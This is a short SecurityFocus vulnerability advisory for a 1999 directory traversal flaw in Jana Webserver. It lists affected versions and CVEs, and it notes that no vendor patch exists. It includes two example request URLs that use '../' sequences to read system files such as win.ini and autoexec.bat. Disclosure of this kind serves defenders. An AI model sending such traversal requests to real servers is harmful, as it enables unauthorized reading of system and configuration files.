Jana Webserver Directory Traversal Vulnerability

Bugtraq ID:	699
Class:	Input Validation Error
CVE:	CVE-1999-1082 CVE-1999-1083
Remote:	Yes
Local:	Yes
Published:	Oct 08 1999 12:00AM
Updated:	Jul 11 2009 12:56AM
Credit:	First posted to BugTraq by Jason Lutz <[email protected]>on Oct 8, 1999.
Vulnerable:	T. Hauck Jana Webserver 1.46 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0 T. Hauck Jana Webserver 1.45 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0 T. Hauck Jana Webserver 1.0 - Microsoft Windows 2000 Professional - Microsoft Windows 95 - Microsoft Windows 98 - Microsoft Windows NT 4.0
Not Vulnerable:

Jana Webserver Directory Traversal Vulnerability

http ://target/./.././.././.././win.ini
or
http ://target/....../autoexec.bat

Jana Webserver Directory Traversal Vulnerability

Solution:
Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected].

Jana Webserver Directory Traversal Vulnerability

References:

• Jana Webserver (Thomas Hauck)